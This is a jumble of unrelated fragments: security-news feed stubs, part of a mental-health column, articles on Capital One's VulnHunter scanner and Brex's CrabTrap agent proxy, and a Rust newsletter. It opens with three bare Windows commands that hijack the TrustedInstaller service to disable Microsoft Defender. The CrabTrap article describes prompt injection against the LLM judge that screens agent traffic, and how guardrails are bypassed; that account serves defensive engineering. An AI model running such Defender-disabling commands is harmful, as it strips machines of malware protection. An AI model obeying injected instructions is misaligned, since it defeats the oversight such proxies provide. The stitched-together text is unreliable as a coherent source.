
sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Dieser Beitrag Londoner TfL-Hack: Zwei britische Hacker erhalten 5,5 Jahre Haft erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Südkorea startet Sanktionen gegen Dunamu nach Upbit-Wallet-Hack erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

• The modern mind is a column where experts discuss mental health issues they are seeing in their work

Earlier this year Paul* discovered via a flurry of media stories that his business group had been targeted for job cuts, alongside a number of other public sector agencies. For him, this was the second time, after his technical management role was restructured in 2024. While that process was difficult enough, the comms this time were highlighting the integration of AI as a cost-saving tool. “They say it’s not about firing people, but hey, my whole team will go.”

For Paul, the timing could not have been worse. He and his partner are expecting a child and recently purchased their first house.

Curiosity: Seek new learning, perspectives and interests, look outside your usual sources for inspiration. You can use AI to widen your perspective and spark ideas, but stay engaged with the world beyond the screen.

Humility: Grow your self-awareness. Reflect on what comes naturally, what energises you, and where you get stuck. Then invite honest feedback. AI learns through feedback – you can too. Ask people you trust what to start, stop and keep doing.

Emotional intelligence: Your ability to connect, show empathy and communicate with care will only become more valuable.

Dieser Beitrag BONK-Treasury-Exit nach Cybervorfall: Hacker verkauft weiter große Tokenmengen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Ernst & Young meldet Datenschutzvorfall nach Hack eines Support-Ticket-Systems erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Londoner TfL-Hack: Zwei Briten wegen Cyberangriffen zu je 5,5 Jahren verurteilt erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post IT Security News Hourly Summary 2026-07-18 00h : 5 posts appeared first on IT Security News.

Read more →

The post IT Security News Daily Summary 2026-07-17 appeared first on IT Security News.

Read more →

The post The Zoom hack that says, ‘Don’t record me’ appeared first on IT Security News.

The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a 2019 data breach that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an $80 million federal fine.

Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "attacker-first forward analysis" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.

VulnHunter attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.

The tool currently runs on Anthropic's Claude Opus 4.8 model inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.

The 2019 breach that reshaped how Capital One thinks about cybersecurity

To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.

On July 19, 2019, Capital One disclosed that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's Responsible Disclosure Program on July 17 of that year.

The damage was sweeping. Approximately 100 million people in the United States and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.

In August 2020, the Office of the Comptroller of the Currency fined Capital One $80 million, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.

The incident became an industry case study in the dangers of moving fast with new technology. As CyberScoop reported in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."

How Capital One rebuilt its security reputation through open-source investment

What followed was not a retreat from technology but a doubling down — with security explicitly at the center.

Capital One had declared itself an "open-source first" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the Open Source Security Foundation as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud & Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the OpenSSF announcement.

Behind that public commitment lay a substantial operational apparatus. Capital One's Open Source Program Office, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.

Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as reported by SD Times. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.

VulnHunter is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.

Inside VulnHunter's three-stage AI engine for finding exploitable code

For engineering leaders evaluating VulnHunter, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.

In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.

The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.

In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.

Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.

Why AI-powered attacks are forcing banks to rethink traditional cyber defenses

VulnHunter arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.

The company's own AI security researchers have been tracking these trends closely. At NeurIPS 2024 in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.

Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "BackdoorAlign," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "WildTeaming," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.

The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.

What Capital One's cloud security journey reveals about the entire banking industry

Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One moved aggressively to Amazon Web Services in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, publicly championed the cloud as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.

The CyberScoop report from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.

Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.

Whether VulnHunter lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.

Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. 

“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

How Brex targeted the transport layer

The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. 

“Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. 

Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. 

This made the transport layer a core architectural component and natural starting point, he said. 

By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. 

The LLM-as-a-judge training loop

CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. 

From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. 

All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. 

“That closes the loop between observed denials and policy refinement,” Franceschi said. 

Core challenges and roadblocks 

Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. 

However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. 

Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. 

Results, and where CrabTrap might evolve

Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. 

Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. 

“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. 

Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

“The proxy became a discovery tool, not just an enforcement one,” he said. 

Areas for growth (and input from the open-source community)

Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. 

Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. 

As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. 

“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. 

Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. 

Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. 

What other builders can learn from CrabTrap

The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. 

“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

Dieser Beitrag GTA-6-Leaker Arion Kurtaj aus Klinik verlegt: Prozess-Rückkehr im November erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post Scattered Spiders sentenced, OpenAI builds an AI that breaks AIs, and Iran leans on ChatGPT appeared first on IT Security News.

Dieser Beitrag Zwei Scattered-Spider-Hacker erhalten 5,5 Jahre wegen TfL-Angriffen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post Coca-Cola suspended production at its Fairlife dairy after a ransomware attack appeared first on IT Security News.

Read more →

The post Two Scattered Spider Hackers Get 5.5 Years Each for £29 Million TfL Hack appeared first on IT Security News.

Read more →

The post Scattered Spider members jailed over Transport for London hack that cost £29 million appeared first on IT Security News.

The post Scattered Spider members jailed over Transport for London hack that cost £29 million appeared first on Help Net Security.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Announcing Rust 1.97.0
• crates.io: development update

Project/Tooling Updates

• Rewriting Bun in Rust
• Announcing BullMQ for Rust
• prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance
• plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once
• Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export
• Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P
• kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters
• Elara Mesh: what the black box for AI agents actually does

• kache 0.10.0: instant download dedup, no more polling

• cochlea 0.1.0: a headless, deterministic audio engine for AI agents

Observations/Thoughts

• Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko
• Moving a Rust WebRTC SFU to thread-per-core
• Faster Rust tests in CI with parallel steps
• [video] The Only Diagram You Need to Understand Rust Ownership
• We compiled our TypeScript parser to WASM
• Understanding the Rust hype for the busy developer
• I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it

Rust Walkthroughs

• [video] Backend Concepts in Rust: HTTP Servers
• Fearless Embedded Rust: A FPV Lego car
• What I learned building a self-corrupting file format in Rust
• Come Async You Are

Miscellaneous

• Oxidize XIAO — An Embedded Rust Community Program

Crate of the Week

This week's crate is dashu, a pure Rust set of libraries of arbitrary precision numbers.

Thanks to JacobZ for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

550 pull requests were merged in the last week

Compiler

• inline some Symbol functions
• predicate/clause cleanups
• remove some AST tokens fields
• resolver: wrap arenas in WorkerLocal
• rework read deduplication with pooled read recorders
• shrink mir::Statement to 40 bytes
• shrink no-op drop elaboration
• specialize common (1, 1) case for arg unification
• use SmallVec for return places in MIR

Library

• add explicit Iterator::count impl for ChunkBy
• allow Allocators to be used as #[global_allocator]s
• fix multiple logic bugs in Arc::make_mut
• implement feature char_to_u32
• make volatile operations const
• move std::io::Write to core::io
• stabilize String::from_utf8_lossy_owned
• stabilize VecDeque::retain_back from truncate_front

Cargo

• install: Move --debug to Compilation options
• source: incorrect duplicate package warning
• fix manifest schema generation: TomlDebugInfo enum-variants doesn't renamed
• dont apply host-config gating to stable behavior
• reduce library search path length in new build dir layout
• reduce rustc -L args used in the new build-dir layout
• rename -Zno-embed-metadata to -Zembed-metadata=no
• test: fix race in cargo_compile_with_invalid_code_in_deps

Clippy

• add new lints: rest_pattern_accessible_field and unnecessary_rest_pattern
• new lint: definition_in_module_root
• arbitrary_source_item_ordering: add configurable trait impl item ordering modes
• tests_outside_test_module: put code in backticks in the lint message
• count length of the first paragraph by its text
• fix suboptimal_flops false negative with ambiguous float literals
• partly disable unneeded_wildcard_pattern when rest_pattern_accessible_field is enabled
• respect the configured MSRV in implicit_saturating_sub's if x != 0 { x -= 1 } rewrite
• trigger single_element_loop if the block contains only a final expression
• optimize nonstandard_macro_braces by 99.9683% (1.1b → 351K)
• perf: bail out of the disallowed_methods rule if the disallowed list is empty

Rust-Analyzer

• ask for disclosure in AI contributions
• add fixes for array length for type_mismatch
• add parens in transformed dyn type in ref type
• avoid panic in merge imports on trailing path separator
• change some things for #[doc = macro!()] expansion
• clamp cttz const-eval result to type width
• correctly handled cfg'ed tail expr, take 2
• crash on code actions when an unresolved module is present
• crash when computing diagnostics with MIR and error types
• don't complete default in default impl
• early late classification of lifetimes
• fix render_const_using_debug_impl constructing outdated std layouts
• fix proc macros TokenStream::from_str() for doc comments
• hide private fields on hover depending on context
• make lsp-server Response type closer aligned to JSON-RPC
• pretty assoc const when trait in macro
• reimplement crate_supports_no_std syntactic heuristic
• resolve non-plain paths in blocks correctly
• support Cargo 1.97.0 lockfile path setting
• hir-ty: walk container exprs for unused_must_use
• fix onEnter erroneously deleting/interpreting $foo
• suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere
• treat library files as truly client immutable
• turn BlockLoc into a tracked struct, take 3

Rust Compiler Performance Triage

This week many new optimizations landed, making this a very good week for performance. The only real regression was a fix for a miscompile that will likely be re-landed in the future.

Triage done by @JonathanBrouwer. Revision range: 3659db0d..5503df87

Summary:

2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups 36 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• Named Fn trait parameters

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• enable unreachable_cfg_select_predicates lint as part of unused lint group
• Stabilize dyn Allocator
• Tracking Issue for vec_try_remove
• Partially stabilize box_vec_non_null
• Never break between empty parens

• Enable -Zpolonius=next on nightly
• Enable -Znext-solver on nightly by default for testing
• Stabilizing the state of the debuginfo test suite
• Optimize repr(Rust) enums by omitting tags in more cases involving uninhabited variants.
• Proposal for Adapt Stack Protector for Rust

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team, Leadership Council, Rust RFCs or Unsafe Code Guidelines.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• bf16 primitive type

Upcoming Events

Rusty Events between 2026-07-15 - 2026-08-12 🦀

Virtual

• 2026-07-15 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-16 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-19 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: Third Sunday
• 2026-07-21 | Virtual (London, UK) | Women in Rust
  • Lunch & Learn: Learning Rust as First Programming Language
• 2026-07-21 | Virtual (Tel Aviv-yafo, IL) | Rust 🦀 TLV
  • שיחה חופשית ווירטואלית על ראסט
• 2026-07-21 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-07-22 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, GB) | Women in Rust
  • 👋 Community Catch Up
• 2026-08-05 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Second Tuesday
• 2026-08-12 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-19 | Virtual (Bangalore, IN) | Embedded Rust Discord
  • Silicon Sundays

Asia

• 2026-07-18 | Bangalore, IN | Rust Bangalore
  • July 2026 Rustacean Meetup
• 2026-07-19 | Virtual (Bangalore, IN) | Embedded Rust Discord
  • Silicon Sundays
• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, MA, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-15 | Dortmund, DE | Rust Dortmund
  • Teach and Hack at Projektspeicher
• 2026-07-21 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Supercharge Rust funcs with implicit arguments and context-generic programming
• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
• 2026-07-30 | Manchester, GB | Rust Manchester
  • Rust Manchester July Code Night

North America

• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-18 | Boston, MA, US | Boston Rust Meetup
  • North End Rust Lunch, July 18
• 2026-07-21 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-07-22 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-22 | New York, NY, US | Rust NYC
  • Rust NYC: Write A Custom Coding Agent and wasm_zero
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
  • Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
  • BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
  • Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
  • Evening Boston Rust Meetup at Red Hat, Aug 4
• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API

South America

• 2026-08-08 | São Paulo, SP | Rust-SP
  • Rust SP - Aug/2026

Oceania

• 2026-07-21 | Barton, AU | Canberra Rust User Group
  • July Meetup
• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
  • Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
